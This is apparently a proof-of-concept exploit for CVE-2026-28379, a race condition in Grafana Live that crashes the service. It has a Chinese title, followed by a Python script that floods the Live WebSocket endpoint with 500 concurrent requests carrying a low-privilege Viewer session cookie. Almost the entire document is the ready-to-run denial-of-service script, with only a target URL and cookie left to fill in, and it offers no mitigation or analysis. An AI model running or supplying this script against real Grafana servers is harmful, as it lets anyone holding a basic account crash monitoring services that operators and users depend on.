CVE-2026-28379 Grafana Live竞态条件致服务崩溃漏洞

import asyncio import aiohttp # Target configuration TARGET_URL = "http://localhost:3000/api/live/ws" # Replace with actual Grafana Live endpoint COOKIE = "grafana_session=your_session_cookie_here" # Replace with a valid Viewer role cookie async def send_request(session): headers = { "Cookie": COOKIE } try: async with session.get(TARGET_URL, headers=headers, timeout=aiohttp.ClientTimeout(total=10)) as response: print(f"Request sent, status: {response.status}") await response.read() except Exception as e: print(f"Request failed: {e}") async def main(): # Create a session to reuse connections async with aiohttp.ClientSession() as session: tasks = [] # Send a large number of concurrent requests to trigger the race condition for _ in range(500): task = send_request(session) tasks.append(task) # Execute all requests concurrently await asyncio.gather(*tasks) if __name__ == "__main__": print("Starting PoC for CVE-2026-28379...") asyncio.run(main())